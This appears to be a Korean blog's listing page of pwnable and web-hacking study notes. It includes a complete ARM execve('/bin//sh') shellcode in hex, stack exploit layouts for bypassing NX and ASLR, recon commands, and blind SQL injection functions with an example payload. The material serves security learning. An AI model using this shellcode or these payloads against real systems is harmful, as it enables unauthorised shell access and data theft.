본문 바로가기

Ref.4

[Pwnable] ARM shellcode execve - execve("/bin//sh", 0, 0)코드. (31byte) \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\x49\x1a\xc2\x1c\x11\x71\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x2f 1. 다른 쉘코드는 execve("/bin/sh", ["/bin/sh"], 0)을 으로 인자를 주는데 굳이 "/bin/sh"의 포인터를 안주고 NULL로 줘도 상관 없는듯 ....2. 그리고 //bin/sh 문자열 끝에 NULL을 안넣어서 쉘코드 위에 오는 더미들까지 따라 붙었음 ...ㅡ 이 부분도 수정3. 아래 어셈코드의 opcode 데이터를 "//bin/sh"를 "/bin/sh?"로 수정해주자.. 2015. 2. 23.
[Pwnable] code pattern 환경 : NX, Ascii Armor, ASLR(stack) [ &ret sled로 RTL 인자 구성] | buf | &ret x n번 | &execl | dummy(next ret) | argv1 | argv2 | NULL | .... [*] 원하는 값을 가진 고정된 argv를 만날 때 까지 &ret를 타고 이동 후 RTL 1회 사용. 환경 : ASLR(stack) -> shellcode [ jmp %esp로 ASLR 우회] | buf | jmp %esp(ret) | nop + shellcode | ^ ret명령어 실행시 %esp의 위치 [*] call %esp도 가능 환경 : NX, ASLR(stack, libc), Ascii Armor [ fake ebp를 이용해서 custom stack 가기 ] .. 2014. 4. 26.
[Pwnable] Exploit 참고 # x86 Memory layout [ref - Smashing the stack.pdf] [ 정보 획득 ] - 바이너리 가져오기1) xxd로 읽어서 복사2) vi로 복사해봐서 ":%!xxd -r" 실행3) scp -P 2222 id@server:* ./ - 스택 실행비트 확인 : readelf -l - ASCII armor 확인 : ldd or gdb로 함수주소 출력 - 랜덤스택 확인 : cat /proc/sys/kernel/randomize_va_space (0:비활성)- exec 스택 확인 : cat /proc/sys/kernel/exec-shield (0:비활성) - 바이너리 심볼확인 : readelf -s - 바이너리 섹션확인 : readelf -S or objdump -h - got 확인 : .. 2014. 2. 25.
[WEB] blind sql injection mysql 함수 ascii(), ord()char() instr()locate() left() right()mid() lpad() rpad() concat() length() repeat() reverse() substr() replace()if()ifnull() - if - if(2>1, '참', '거짓') 컬럼명을 사용넣어 blind sql injection~~ - instr - instr('aabb', 'ab') --> 2반환 instr('aabb', 'E') --> 0반환 ---> 대소문자 구분안함 ex) ?no=if(instr(id,0x30),3,5) [*] instr(id,0x30)은 모든 레코드에 대해서 수행하고 각 레코드 별로 3, 5의 결과를 출력함.--- 3, 5는 각각 참,거짓을 판단.. 2012. 10. 22.